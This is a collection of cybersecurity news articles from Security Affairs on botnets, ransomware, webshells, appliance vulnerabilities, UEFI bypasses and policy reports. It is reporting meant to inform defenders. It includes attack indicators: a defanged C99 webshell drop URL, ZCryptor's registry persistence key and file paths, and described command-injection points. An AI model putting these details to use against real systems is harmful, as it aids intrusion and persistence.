updated to the last versions., Pierluigi Paganini, Security Affairs – (mobile, management tools)

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The non-profit security research project originating from the Czech Republic, which focuses on safety of SoHo users, has recently entered a new phase. This project, whose users include such celebrities as Vint Cerf and Steve Crocker, is the work of CZ.NIC, the administrator of the Czech national domain .CZ and developer of globally used open-source projects, such as the authoritative DNS server KnotDNS or the routing daemon Bird., In the original project, each user of the service received a Turris router, which extends standard functions of a home router to include the ability to analyze traffic between the Internet and the home network, while identifying suspicious data streams. If such data stream is detected, the router alerts the Turris central to a possible attack. The system central then compares data from many connected Turris routers and evaluates the detected threat., , If the threat is classified as attack, updates are created and distributed throughout the Turris network to help protect all other users. The router also includes other interesting safety-related features. One of them is the Majordomo tool which enables the user to check what public IP addresses the devices on their network communicated with. This tool was inspired by earlier problems of some IoT devices, such as TVs, which were caught sending data “home”., Hardware and software developed within the project are completely open and accessible to the whole community. The aim of this project is to increase the safety of SoHo users while identifying new threats on the Internet. The Turris router supports IPv6, DNSSEC, automatic updates, and much more. The router, which is an important part of the project, was originally intended only for users from the Czech Republic. Due to the great success of the project, it was decided to create a similarly equipped device that would be available to users from other countries., , This is how the project of the Turris Omnia router came to be, which retained most important features of the original device.,  ,  , The performance is provided by a 1.6GHz dual-core ARM CPU, 4GB of flash storage and 1GB of DDR3 RAM. Turris is ready for fast WAN and LAN: it has six 1Gb ports and dual-band Wi-Fi 802.11ac (3×3 MIMO)/ 802.11b/g/n (2×2 MIMO)., It also offers an SFP connector for optical Internet. Such a powerful router obviously suggests other possible uses, for example as a home NAS, that is why two USB 3.0 ports are also included. The router’s board has two Mini PCI Express ports, one mSATA, pins for GPIO, I²C, SPI and even a slot for a SIM card. Compared to the original Turris router, Turris Omnia brings one major change., , Participation in the research project is voluntary and the user can decide whether to enable the collection of anomalies on the device, for example., Both versions of the router also allow their users to redirect certain ports to the common honeypot of the project, making the system central receive information about the behavior of attackers in the various networks, to which the routers are connected., Thanks to this option, the project has already achieved success in detecting suspicious behavior of particular systems, protecting users from web pages spreading malware and identifying Turris clients’ computers that were members of the Zeus botnet. In the course of the last year’s investigation of attacks on users of the Synology Company, the company became interested in the anonymous data from the project., The Turris project publishes information on curious findings on the CZ.NIC blog., The Turris Omnia router can now be ordered in the crowdfunding campaign on Indiegogo either as the raw motherboard, or the complete device. The project remains non-profit, the price takes into account only the actual costs of CZ.NIC for the device production., Pierluigi Paganini, (Security Affairs – Turris Omnia, SOHO routers)

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In December, a major outage hit a region in Ukraine, more than 225,000 customers were affected by the interruption of the electricity. Security experts speculate the involvement of Russian nation-state actors that have used the BlackEnergy to infect SCADA systems of Ukrainian grid and critical infrastrcuture., According to a Ukrainian media TSN, the power outage was caused by the destructive malware that disconnected electrical substations. The experts speculate that hackers run a spear phishing campaign across the Ukrainian power authorities to spread the BlackEnergy malware leveraging on Microsoft Office documents., Now a new report published by the DHS Industrial Control Systems Cyber Emergency Response Team confirms that the outage was caused by a cyber attack., The report is based on interviews with operations and IT staff at six Ukrainian organizations involved in the attacks. The thesis has been supported first by the SANS industrial control systems team, but it is still unclear the real impact of the BlackEnergy malware of the incident., , The SANS report reported that attackers flooded the call centers at the power authorities with phone calls, the intent of the attackers was to prevent customers from reporting the incident to the companies operating the critical infrastructure., The DHS report highlights the possibility that the two strains of malware were used by the attackers after the outage in an attempt either to destroy evidence the intrusion or make recovery more difficult., “Following these discussions and interviews, the team assesses that the outages experienced on December 23, 2015, were caused by external cyber-attackers. The team was not able to independently review technical evidence of the cyber-attack; however, a significant number of independent reports from the team’s interviews as well as documentary findings corroborate the events as outlined below.” states the report., “Through interviews with impacted entities, the team learned that power outages were caused by remote cyber intrusions at three regional electric power distribution companies (Oblenergos) impacting approximately 225,000 customers.”, “The cyber-attack was reportedly synchronized and coordinated, probably following extensive reconnaissance of the victim networks. According to company personnel, the cyber-attacks at each company occurred within 30 minutes of each other and impacted multiple central and regional facilities. During the cyber-attacks, malicious remote operation of the breakers was conducted by multiple external humans using either existing remote administration tools at the operating system level or remote industrial control system (ICS) client software via virtual private network (VPN) connections. The companies believe that the actors acquired legitimate credentials prior to the cyber-attack to facilitate remote access., All three companies indicated that the actors wiped some systems by executing the KillDisk malware at the conclusion of the cyber-attack. The KillDisk malware erases selected files on target systems and corrupts the master boot record, rendering systems inoperable. It was further reported that in at least one instance, Windows-based human-machine interfaces (HMIs) embedded in remote terminal units were also overwritten with KillDisk. The actors also rendered Serial-to-Ethernet devices at substations inoperable by corrupting their firmware. In addition, the actors reportedly scheduled disconnects for server Uninterruptable Power Supplies (UPS) via the UPS remote management interface. The team assesses that these actions were done in an attempt to interfere with expected restoration efforts.”, The report confirmed that every company victim of the attack was infected with the BlackEnergy malware, but avoided to provide further details on the role played by the malware., “Each company also reported that they had been infected with BlackEnergy malware; however, we do not know whether the malware played a role in the cyber-attacks. The malware was reportedly delivered via spear phishing emails with malicious Microsoft Office attachments. It is suspected that BlackEnergy may have been used as an initial access vector to acquire legitimate credentials; however, this information is still being evaluated. It is important to underscore that any remote access Trojan could have been used and none of BlackEnergy’s specific capabilities were reportedly leveraged.”, Pierluigi Paganini, (Security Affairs – SCADA , BlackEnergy malware)

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The Prowli malware was spotted by researchers at GuardiCore, attackers composed the huge botnet by exploiting known vulnerabilities and brute-force attacks., This campaign, dubbed Operation Prowli, aimed at servers and devices using the following arrack methods, including:, , Once attackers have compromised a server or an IoT device, they determine if they can use it for cryptocurrency mining operations. Hackers used a Monero miner and the r2r2 worm, a piece of malware used to launch SSH brute-force attacks from the hacked devices., “The attackers behind Prowli incur no expenses when they use r2r2 to take over computers owned by others and use mining pools to launder their gains. Cryptocurrency is a common payload of modern worms, and in this case as in many others, our attackers prefer to mine Monero, a cryptocurrency focused on privacy and anonymity to a greater degree than Bitcoin.” reads the analysis published by the experts., “Second source of revenue is traffic monetization fraud. Traffic monetizers, such as roi777, buy traffic from “website operators” such as the Prowli attackers and redirect it to domains on demand. Website “operators” earn money per traffic sent through roi777. The destination domains frequently host different scams, such as fake services, malicious browser extensions and more.”, The hackers also compromised servers with the WSO Web Shell backdoor. Hacked websites were used to host malicious code that redirects visitors to a traffic distribution system (TDS), with such kind of attack scheme crooks monetize their efforts by selling hijacked traffic., “Traffic monetizers, such as roi777, buy traffic from “website operators” such as the Prowli attackers and redirect it to domains on demand. Website “operators” earn money per traffic sent through roi777. The destination domains frequently host different scams, such as fake services, malicious browser extensions and more.” continues the experts., Further details on the Prowli campaign, including IoCs are reported in the analysis published by GuardiCore., Pierluigi Paganini, (Security Affairs – Prowli, hacking)

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Early June the Tor Project announced a hardened version of the popular Tor Browser, the Tor Browser 6.5a1-hardened., “A new hardened Tor Browser release is available. It can be found in the 6.5a1-hardened distribution directory and on the download page for hardened builds. This release features important security updates to Firefox.” states the announcement published by the Tor Project., A group of researchers from the University of California, Irvine (UCI), composed of Mauro Conti, Stephen Crane, Tommaso Frassetto, Andrei Homescu, Georg Koppen, Per Larsen, Christopher Liebchen, Mike Perry, and Ahmad-Reza Sadeghi published an interesting paper entitled “Selfrando: Securing the Tor Browser against De-anonymization Exploits” that presents the recently introduced Selfrando feature., The team also shared the Selfrando project on GitHub., Selfrando is an enhanced and practical load-time randomization technique implemented for the Tor Browser that aims to defend Tor users against exploits., The Selfrando will prevent intelligence agencies from de-anonymizing users through exploits. In the past, we discussed many cases where the FBI and law enforcement used exploits to unmask Tor users, including the case of the Playpen child pornography portal., In the Playpen case, the FBI arrested Jay Michaud, a Vancouver public schools administration worker right after the law enforcement closed the popular child pornography site that was hosted on the dark web. The authorities used a specific exploit, known as network investigative technique (NIT), to track visitors of the Playpen bulletin board hidden service., The FBI was able to harvest around 1300 IPs, and until the moment 137 people have been charged. The network investigative technique used by the FBI included computers in the UK, Chile, and Greece., What is Selfrando?, Selfrando is a solution developed by the experts to significantly improve security over standard address space layout randomization (ASLR) techniques. The ASLR techniques are today used by Firefox and the most popular browsers, they were involved in protection from exploits leveraging buffer overflow vulnerabilities., The team of researchers worked with the experts at the Tor Project to ensure that the Selfrando feature is fully compatible with AddressSanitizer (ASan), a compiler feature to detect memory corruption. The ASan technique is implemented in a hardened version of Tor Browser for test purposes, so the Tor Project decided to include Selfrando in the hardened releases of the Tor Browser., , The researchers demonstrated that the startup and performance overheads resulting from the implementation of the Selfrando technique are negligible (less than 1% overhead to running times)., Another interesting aspect of the feature is that it doesn’t need further development efforts, it doesn’t need too many changes to existing code., Let me suggest to give a look to the report … it is simply amazing., Pierluigi Paganini, Security Affairs – (Tor Browser, hacking)

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At the recent Def Con conference in Las Vegas, security experts demonstrated in two different talks how to exploit vulnerabilities in commercial drones manufactured by Parrot., In one of the attacks, the researchers were able to shoot down the aircraft making it fall, the technique was able also to hit the Bebop model., The circumstance is disconcerting if we think that an attacker can use the drone to hit a target., Ryan Satterfield, a security expert from the Planet Zuda firm, demonstrated a takedown of a Parrot A. R. Drone by exploiting the drone’s built-in Wi-Fi, the researchers accessed the UAV through an open Telnet port in the implementation of the BusyBox OS. The expert connected to the drone through the open port, gaining root access to the controller, then it was a joke for him to kill the processes used to control the flight of the drone., , Below the video PoC of the attack Ryan Satterfield demonstrated at the DEF CON conference., , The day after the Satterfield’s presentation the security researcher Michael Robinson, adjunct professor at Stevenson University in Maryland and George Mason University, illustrated the findings of his research on the Parriot Bebop drone., In the talk titled “Knocking My Neighbor’s Kid’s Cruddy Drone Offline” he explained how to exploit a Parrot’s open Wi-Fi connection to control the drone. Anyone with the free Parrot app on a mobile device could be able to control the Parrot drone while it is flying., The principle of the attack is simple, in a first phase the attacker disconnects the legitimate control app from the drone, then he takes control with his app from another device., It is important to note that the hack demonstrated by Robinson leaves forensic artifacts on mobile devices, including the serial number of the drone., In both hacks demonstrated at the Def Con conference, the hackers exploited a well-known feature of the Parrot drones, the open telnet port could be accessed to gain root privileges on the controller., A blog post published by Ars Technica highlight that this feature is widely-known and mentioned in a number of specialized forums., The post explains that some Parrot drone owners have used the same feature to upgrade the WiFi security of their aircrafts, adopting the WPA2 standard., Robinson discovered other security issued in the Parrot Bebop model, the aircraft uses an open FTP server to transfer pictures and video back to the control system. The open FTP port could be exploited by an attacker to remotely access, delete and replace videos gathered by the Parrot drone., Another issue discovered by the expert is related to the management of the GPS signal implemented by the Parrot model Bepop. It an attacker uses a jammer to disturb the GPS signal, the return-home function implemented by the drone controller fails even when GPS signal returned., Robinson also tested the security features implemented by the professional DJI Phantom III drone. The Phantom is not vulnerable to hijacking because it uses radio controls rather than Wi-Fi. Jamming attacks are able to cause problem for the return-home function. The GPS interference has other dangerous effects for the drone, the video returned from the aircraft was unstable and the drone’s internal magnetic compass is disturbed causing it to not take off., The researchers reported the security issues to Parrot which confirmed it was aware of them, at the time I’m writing it’s not clear when the company will fix it., Pierluigi Paganini, (Security Affairs – hacking, Parrot Drones)

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The best news of the week with Security Affairs., First of all, let me inform you that at the #infosec16 SecurityAffairs was awarded as The Best European Personal Security Blog Hurry up, subscribe to the newsletter, next Sunday you will receive all the news directly in your inbox.I desire to inform you that Security Affairs is now open to sponsored content. I’ll offer the opportunity to: •    Insert banners of various sizes in all the posts on Security Affairs. •    Publish sponsored posts written by the customers that can include any kind of commercial reference. •    Arrange a monthly/quarterly/annual campaign (for big customers) to advertise customers’ activities and discoveries. For more info contact me at [email protected] Thanks for supporting Security Affairs., mc4wp_form id=”42321″, , Once again thank you!, Pierluigi Paganini, (Security Affairs – Newsletter)

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Security researchers at Digital Defense discovered multiple vulnerabilities while assessed the SonicWALL Email Security virtual appliance (Version 8.3.0.6149). According to the experts. The flaws could be exploited by attackers to conduct a wide range of malicious activities, including command injection, arbitrary file deletion, denial-of-service (DoS) and information disclosure., Below the list of vulnerabilities discovered by the experts at the Digital Defense, Inc. Vulnerability Research Team (VRT)., DDI-VRT-2016-69: Authentication Bypass in DLoadReportsServlet (High), The attacker can access backup files that include also the SHA-1 hash of the administrator account password., “The DLoadReportsServlet can be accessed via the  URL without authentication. If any backups have been made via the web interface and the Email Security appliance is set as the storage location, they can be downloaded by supplying the path to the backup via the “snapshot” GET parameter which can be used to access any files stored in the backup directory or one of its sub-directories. ” reads the analysis published by the experts., DDI-VRT-2016-70: Authenticated XML External Entity Injection in known_network_data_import.html (High), The experts discovered that it is possible to launch an XML External Entity (XXE) injection attack to steal sensitive data., DDI-VRT-2016-71: Authenticated Remote Command Execution in manage_ftpprofile.html (High), This issue could be exploited by an attacker to send backup files to a remote FTP server., “The SonicWALL Email Security appliance has an option to send backup files to a remote FTP server instead of storing them locally on the appliance. To use this functionality, the user would need to create an FTP profile which includes the FTP server address, port, username, password, and destination path. No sanitation is done on the user provided values for the username or password before they are saved for later use. Commands placed inside backticks or semicolons can be injected via the username or password parameters.” states the analysis published by Digital Defense., DDI-VRT-2016-72: Authenticated Arbitrary File Deletion in policy_dictionary.html (High), The flaw allows attackers to delete arbitrary files with root privileges and trigger DoS conditions. The researchers discovered that a bug in the way compliance dictionaries are managed via web interface allows authenticated attackers to select any files and delete them., “When a dictionary is selected for deletion the “save” method is called. This method first verifies that the dictionary selected for deletion is not in use before deleting the dictionary file from disk. The “save” method does not validate that the “selectedDictionary” POST parameter contains a valid dictionary before deleting the file. This allows an authenticated user to delete any files from the host that is running the SonicWALL Email Security software.” states the advisory., , The researchers explained that flawed SonicWALL Email Security virtual appliance could be always configured for external access, this means that remote attackers can take complete control of it by combining the authentication bypass and command execution flaws., The full control over the SonicWALL Email Security virtual appliance could be exploited to capture inbound and outbound emails of the organization., Dell has patched the issued with the new SonicWALL Email Security OS 8.3.2 release., Pierluigi Paganini, (Security Affairs – SonicWALL Email Security, hacking)

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In November 2016, the US Internal Revenue Service (IRS) has filed a motion asking the US Federal Court of Northern California to force the US-based cryptocurrency exchange portal to hand over the personal details of all US users that have conducted Bitcoin trades between January 1, 2013, and December 31, 2015., The motion is part of a tax evasion investigation launched by the US authorities and aimed to track people that currently maintains funds in Bitcoin or that were paid using the cryptocurrency to avoid paying US taxes., Now a federal judge in the California Northern district court has ruled that US-based cryptocurrency exchange portal Coinbase must hand over details of over 14,000 users to the US Internal Revenue Service (IRS). Coinbase must provide personal and financial details of its US users, including names, birth dates, addresses, Bitcoin wallet ID, tax ID numbers., According to the IRS, during the period under investigation, only about 900 US citizens paid taxes for Bitcoin-related operations, even if Coinbase was serving millions of users, most of them from US., , In a first time judge rejected the IRS filing because the huge audience and its potential impact, but the US agency filed a new motion earlier November and judged decided that Coinbase would have to hand over the personal details of all US Coinbase users that have at least one account used in Bitcoin transactions greater than $20,000 worth of Bitcoin between January 1, 2013, and December 31, 2015., According to Coinbase, it was now forced to hand over data belonging to 14,355 users, a small fraction of the nearly 500,000 users covered by the first motion., “The government initially sought private financial records of approximately 500,000 account holders. In response to Coinbase’s continuing fight, the IRS significantly reduced the scope of the summons to approximately 14,000 customers. Although this 97% reduction in impacted customers is a big win for our customers, the IRS still took Coinbase to court to obtain a sweeping set of customer records. Today we argued, even as narrowed, the summons is still unjustified and invasive to our customers.” reads a blog post published by the company., The list of 14,355 US users will not include citizens for which Coinbase filed 1099-K tax forms and users who only bought Bitcoin storing it in their accounts and never used it., The message is clear, US authorities will try to persecute any tax-evasion activities that leverage crypto currencies to avoid controls., Pierluigi Paganini, (Security Affairs – Coinbase, Bitcoin), ,

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The joint Technical Alert (TA) report is the result of the efforts between of the Department of Homeland Security (DHS) and the Federal Bureau of Investigation (FBI)., The US Government has tracked the hacker group as Hidden Cobra, but the APT is most popular as the Lazarus APT Group., The activity of the Lazarus Group surged in 2014 and 2015, its members used mostly custom-tailored malware in their attacks and experts that investigated on the crew consider it highly sophisticated., This threat actor has been active since at least 2009, possibly as early as 2007, and it was involved in both cyber espionage campaigns and sabotage activities aimed to destroy data and disrupt systems.  Security researchers discovered that North Korean Lazarus APT group was behind recent attacks on banks, including the Bangladesh cyber heist., According to security experts, the group was behind, other large-scale cyber espionage campaigns against targets worldwide, including the Troy Operation, the DarkSeoul Operation, and the Sony Picture hack., The joint alert from the FBI and the DHS further details on the group, including indicators of compromise (IoC) for its DeltaCharlie botnet involved in the “Operation Blockbuster” to power DDoS attacks., , The US-CERT report includes details about the malware, the IP addresses used by the attackers, file hashes, network signatures, and YARA rules associated with Hidden Cobra., Administratos can used the information in the report to detect the presence of the threat in their system and eradicate it., “DeltaCharlie is a DDoS tool used by HIDDEN COBRA actors, and is referenced and detailed in Novetta’s Operation Blockbuster Destructive Malware report. The information related to DeltaCharlie from the Operation Blockbuster Destructive Malware report should be viewed in conjunction with the IP addresses listed in the .csv and .stix files provided within this alert.” states the report., “DeltaCharlie is a DDoS tool capable of launching Domain Name System (DNS) attacks, Network Time Protocol (NTP) attacks, and Character Generation Protocol attacks,” US-CERT said. “The malware operates on victims’ systems as a svchost-based service and is capable of downloading executables, changing its own configuration, updating its own binaries, terminating its own processes, and activating and terminating denial-of-service attacks.”, The DHS agency warned of the presence of the DDoS malware on victims’ networks for a significant period of time., “Tools and capabilities used by HIDDEN COBRA actors include DDoS botnets, keyloggers, remote access tools (RATs), and wiper malware. Variants of malware and tools used by HIDDEN COBRA actors include Destover,3(link is external) Wild Positron/Duuzer,4(link is external) and Hangman.5(link is external) DHS has previously released Alert TA14-353A,6 which contains additional details on the use of a server message block (SMB) worm tool employed by these actors.” continues the report.”Further research is needed to understand the full breadth of this group’s cyber capabilities. In particular, DHS recommends that more research should be conducted on the North Korean cyber activity that has been reported by cybersecurity and threat research firms.”, Enjoy the report., Pierluigi Paganini, (Security Affairs – Hidden Cobra, North Korea)

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It was 2012 when security experts discovered a security flaw (CVE-2012-1823) in some PHP builds that could be exploited by a threat actor to remotely execute commands on the affected server, if PHP was configured as a CGI script (PHP-CGI) at the time., Security experts have recently discovered that the old CGI-PHP vulnerability is now exploited on a large scale to recruit machines for a botnet used with a primary purpose to mine Bitcoin. The researchers have detected different reconnaissance activities on a large scale, attackers were scanning for the above flaws in an automated fashion, and the operations were linked to various attacks over the years., , Trustwave, analyzing the traffic related to the spike in scanning activities detected in August, has noticed an uptick in attacks targeting the PHP-CGI vulnerability to deploy the BoSSaBoTv2 bot. In the same period, a researcher discovered an ad online offering the source code to BoSSaBoTv2 and just a few weeks later the malware was having risen in Internet again., Once infected the machine, the BoSSaBoTv2 malware allows a remote attacker to control the servers using a shell or IRC. As explained in the blog post it could be used for Bitcoin mining as well as for DDoS attacks., “Notice some of these features including bundling a Bitcoin Miner program.  This is interesting as this shows another aspect how an attacker is looking to abuse their access to a compromised web server.  They can siphon off local system resources such as CPU and RAM in attempts to create Bitcoins.  Here are some of the commands for downloading and running the Bitcoin miner -” reports the post from Trustwave about the mining feature implemented in the BoSSaBoTv2 malware., Below the statements used by the experts to introduce their discovery:, “Our web honeypots picked up some interesting attack traffic.  The initial web application attack vector (PHP-CGI vulnerability) is not new, the malware payload is.  We wanted to get this information out to the community quickly due to the following combined threat elements –, The worrying aspect of the attacks based on newer versions of BoSSaBoTv2 malware is the low detection rate for the binaries used in the recent attacks:, Nome file 1 5453043042be4ad21259bcb9b17e9bd3.exe, Nome file 2 097d995b242e387f4bdbfd2b9c9e5dfd9a33acc2_w00ted, The experts highlighted that the malicious code was written in C, a circumstance that is rare for the development of a botnet., Once the attackers discover a vulnerable server, they try to install both 64-bit and 32-bit version of the BoSSaBoTv2 malware. According to the experts, bad actors mainly targeted businesses, that rent their servers or share them, because enterprise systems have the greatest computational capabilities and connect to faster communication cables., How much cost BoSSaBoTv2?, A fee for lifetime updates of BoSSBoTv2 malware costs $125, and the basic package is offered at $25 paying upgrades as extra., , Administrators could use as indicator of compromise the presence of strings containing POST variables that are Base64 encoded:, “Pay close attention to the HTTP Response Status Codes. Anything other than a 404 – Not Found could indicate trouble.” states the post from Trustwave., another element to consider is that the following directories are being targeted during the automated scans we have described in this post:, Pierluigi Paganini, (Security Affairs – botnet, BoSSaBoTv2 )

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Microsoft is alerting all Windows users of a new type of ransomware that exhibits worm-like behavior., “We are alerting Windows users of a new type of ransomware that exhibits worm-like behavior. This ransom leverages removable and network drives to propagate itself and affect more users. We detect this ransomware as Ransom:Win32/ZCryptor.A.”  states Microsoft,, The Infection vector, Ransom:Win32/ZCryptor.A is spread through the spam email infection vector. It runs at start-up as soon as ZCryptor is executed., HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run, zcrypt = {path of the executed malware}, In the start-up folder it drops zycrypt.lnk and autorun.inf in removable drives:, %User Startup%\zcrypt.lnk, It also changes the file attributes to be in Stealth mode from the user, also it makes a copy of itself as {Drive}:\system.exe and %APPDATA%\zcrypt.exe, For Example:  c:\users\administrator\appdata\roaming\zcrypt.exe, The Payload, It then displays the ransom note to users in an HTML file How to decrypt files.html, , Later it encrypts files in your disk and then will change the file extension to .zcrypt (Eg. <originalfilename.zcrypt>), Infected machines are observed to have zcrypt1.0 mutex which denotes that an instance of this ransomware is already running on the infected machine., The connection has also been observed to the following URL. But the domain is already down while testing, where the {Computer_ID} is entry found inside a dropped file %APPDATA%\cid.ztxt, For example, c:\users\administrator\appdata\roaming\cid.ztxt, The warning issued by Microsoft also include information about Detection, Prevention, and Recovery from such kind of self-propagating ransomware, Written by: Imdadullah Mohammed, Author Bio: Imdad is an Information Security Consultant, He is also a Moderator for Pune Chapter of Null – The open security community in India and Also member of Garage4hackers. A true open source and Information Security enthusiast. His core area of expertise includes Vulnerability Assessment and Penetration Testing of the Web application, Mobile application and Networks, as well as Server Hardening., If you appreciate my effort in spreading cyber security awareness, please vote for Security Affairs as best European Security Blog. Vote SecurityAffairs in every section it is reported. I’m one of the finalists and I want to demonstrate that the Security Affairs community a great reality., Thank you, Pierluigi, Pierluigi Paganini, (Security Affairs – self-propagating ransomware, malware)

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The security breach was first reported by the member “thbourlove” of the EOSBet Reddit community that shared the code used to exploit the flaw., After seeing the exploit code, the EOSBet’s official Reddit account admitted the hack., “Yep, we were hacked. But we also have this exact assertion that you do. I would be careful, it’s a bit deeper than you think.” stated the EOSBet’s official Reddit account, , “A million-dollar EOS gambling dApp suffered a major blow, just days after declaring itself to be the safest of its kind.” reported The Next Web website., “Hackers have taken 40,000 EOS ($200,000) from the operating wallet of EOSBet by exploiting vulnerabilities in its smart contracts”, The gambling application is based on the EOS blockchain, it was taken offline in response to the security breach., “… A few hours ago, we were attacked, and about 40,000 EOS was taken from our bankroll,” said an EOSBet spokesperson., “This bug was not minor as was stated previously, and we are still doing forensics and piecing together what happened.”, According to the company the attackers exploited a bug in one of their games, but it seems that the same issue could affect other games of the gambling platform., The hackers were able to forge fake hash to hijack the EOSBet’s transfer funds., The attackers have attempted to transfer funds to a wallet under their control that looks very similar to the one used by EOSBet., The hackers only make a limited number of transactions from a number of accounts, they used the following message or similar as a description:, “Memo: Please refund the illegal income eos, otherwise we will hire a team of lawyers in China to pursue all criminal liability and losses to you. Eosbet official eos account: eosbetdicell.”, Then crooks distributed the gains splitting them across many wallets that received small amounts of EOS tokens with the following message:, “Memo: Dear players: In order to make up for the loss of eosbet players in the hacking incident, the platform launched a recharge to send BET. 1EOS=1BET, the official eos account: eosbetdicell, the transfer will automatically give the same BET.”, It is still unclear if this incident is connected to a suspect gambler win realized the last week, the player claimed over $600,000 from EOSBet by doubling their money repeatedly in 36 hours., Platform managers excluded any link between the hack and what is considered a legitimate win., Pierluigi Paganini, (Security Affairs – EOSBet, security breach)

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Cyber security is a primary issue in the agenda of many countries, the U.S. Presidential commission has recently issued recommendations to urge a proactive cooperation between private and public sectors. The collaboration aims to improve the security of computer networks and counteract the action of threat actors. The U.S. presidential commission on cyber security recommended issued a “wide-ranging report” on the subject., The commission was established early this year by an executive order from President Obama. Now the commission has released a final report that includes 16 recommendations for Obama’s administration and that of President-elect Donald Trump., , The commission created by President Barack Obama earlier this year also recommended that the president and Congress accelerate the pace at which technology is updated in the federal sector and that the president appoints an ambassador for cyber security for efforts abroad., “Technological advancement is outpacing security and will continue to do so unless we change how we approach and implement cybersecurity strategies and practices,” states the report issued by US Government., The report details the Obama’s vision on cybersecurity that expressed great concerns on the evolution of cyber threats and provides recommendation to secure national infrastructures., “Obama said in a statement after meeting the commission’s head, his former national security adviser Tom Donilon, on Friday that his administration strongly supported the commission’s “thoughtful and pragmatic” recommendations.” reported the Reuters., Obama, who will leave office on Jan. 20 said he had asked the commission to brief the transition team of President-elect Donald Trump at the earliest opportunity., “The Commission’s recommendations affirm the course that this Administration has laid out, but make clear that there is much more to do,” Obama said in a statement. “Deepening public-private cooperation will help us better protect critical infrastructure and respond to cyber incidents when they occur.”, The report identified potential attack vectors like IoT technology and the global supply chain of manufacturers, it focuses on the protection of critical infrastructure., The commission made a number of recommendations for the incoming administration, including:, Pierluigi Paganini, (Security Affairs – US Government, cybersecurity)

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Security experts at IBM reported a spike in the number of cyber attacks pushing a variant of the popular C99 webshell in February and March, a 45 percent increase compared to the previous period. The C99 variant used in the attacks is currently detected by 37 of 56 antivirus software., The experts noticed a common URL and file name, pagat.txt, in the attacks. The file includes an obfuscated PHP script, the attackers hide in this way a malicious code used to bypass the Web application firewall (WAF) that may be used to protect the website., When the script is executed on the target system, an email is sent back to the attacker notifying that the server has been compromised., Below the GET request observed in the attacks:, hxxp://www.victim.com/wp-content/themes/twentythirteen/pagat.txt. , , Googling the pagat.txt file it is possible to have an idea of the number of compromised machines., The C99 webshell installed on the server could be accessed from a browser and used to launch shell commands on the target. The attacker can use it to perform several actions, including the upload of malicious payloads., “Most of the time, these webshell entry points result from vulnerabilities in third-party plugins (which we know often don’t undergo any security review during development) or an unpatched bug in the parent application. In fact, according to IBM X-Force, the largest percentage of CMS vulnerabilities are found in plugins or modules written by third parties.” reported IBM., The researcher discovered that the specific variant of the C99 webshell used in the recent attacks is the same used by the Indonesian hacker Hmei7, that defaced more than 150,000 websites from all across the world., In order to protect your website ensure that your WordPress installation is not affected by known vulnerabilities, install security plugins, and change default settings., Pierluigi Paganini, (Security Affairs – C99 Webshell, hacking)

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The Secure Boot security mechanism of the UEFI (Unified Extensible Firmware Interface) can be circumvented on around half of PCs that use it, security researcher Corey Kallenberg from nonprofit research organization Mitre has demonstrated it at the Hack in the Box 2014 security conference in Amsterdam., “The Unified Extensible Firmware Interface (UEFI) (pronounced as an initialism U-E-F-I or like “unify” without the n) is a specification that defines a software interface between an operating system and platform firmware. UEFI is meant to replace the Basic Input/Output System (BIOS) firmware interface, present in all IBM PC-compatible personal computers.12 In practice, most UEFI images provide legacy support for BIOS services. UEFI can support remote diagnostics and repair of computers, even without another operating system.” reports by Wikipedia., The hack doesn’t work on any machine because there are significant differences in how UEFI is implemented by different computer manufacturers. The resercher demonstrated that bypassing the Secure Boot an attacker can install a bootkit, that is a rootkits which starts just before the OS hiding itself in the system’s bootloader., , Kallenberg has also shown that it’s possible to render some systems unusable by modifying a specific UEFI variable directly from the OS, a circumstance that is really worrying because attackers could easily use the technique in cyber sabotage attacks., Just one year ago a group of researchers from Intel and Mitre discovered a significant security issue in UEFI implementations from BIOS vendor American Megatrends, the team has found that a UEFI variable called “Setup” was not properly protected and could be modified directly by a process running with administrative permissions in the OS. A similar attack could be run from the OS by a malware running with administrative privileges. An attacker is allowed the bypassing of Secure Boot modifying the Setup variable in a specific way, the Secure Boot checks if the bootloader is digitally signed and that it is on a whitelist before executing it. If an attacker modifies the Setup value the machine will not be able to start again., Kallenberg also presented a new way to bypass Secure Boot efficient on OEMs not using the security mechanism SMI_LOCK in their UEFI implementations. The researcher discovered that in this last case it is possible to run code in kernel mode to temporarily suspend SMM (System Management Mode) and add a rogue entry into the list of trusted bootloaders by Secure Boot. The modification of the list allows at the successive reboot the execution of the malicious bootloader bypassing Secure Boot. The team of experts at Mitre developed a Windows software, dubbed Copernicus, to analyze the UEFI implementation in any system and report the different security features it uses. Running the application in their organization across 8,000 systems they have discovered that nearly 40% of the machines did not use the SMI_LOCK protection. The researchers are now extending the test to 100,000 systems outside their organization to complete their study. The group also discovered that even if OEMs release BIOS updates with SMI_LOCK protection in the future and customers install them, for nearly 50% of updated systems, attackers will be able to restore an older, unprotected BIOS version from inside the OS. Also in the scenarios exposed, an attacker serving a malware with administrative privileges could install an older digitally signed driver from a legitimate hardware manufacturer that’s known to have a vulnerability., ” Since the driver runs in kernel space, he could then exploit the vulnerability to execute malicious code with ring 0 privileges”, the researcher said., Recovering from such an attack would be time consuming because it could be necessary to reprogram the BIOS chip with a manual intervention and specialized equipment. It’s time to consider this type of attacks seriously!, (Security Affairs –  Secure Boot, cybercrime)

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Last week, The New York State Department of Financial Services (NYDFS) released a report on the Cyber Security in the Banking industry, the analysis revealed several disconcerting aspects related to the securiy posture of the financial institutions when work with vendors., The authors of the report audited 150 banks and most interesting findings of the study they elaborated are:, , “A bank’s cyber security is often only as good as the cyber security of its vendors. Unfortunately, those third-party firms can provide a backdoor entrance to hackers who are seeking to steal sensitive bank customer data,” said Benjamin Lawsky, the state’s Superintendent of Financial Services, commenting the report., Another disconcerting data is related to the security of encryption to protect sensitive data in transit, nearly 90% of the interviewed banks are using encryption for transmitting data to third parties, but unfortunately only 38% are using encryption for all the other communications., NYDFS clarified that multiple banks allow vendors like law firms, IT companies, to access their systems without being worried about securities measurements, but not all is bad and it’s stated that as the conclusion to the report:, “Banking organizations appear to be working to address the cyber security risks posed by third-party service providers, although progress varies depending on the size and type of institution”, About the Author Elsio Pinto, Edited by Pierluigi Paganini, (Security Affairs –  Cyber security, banking)

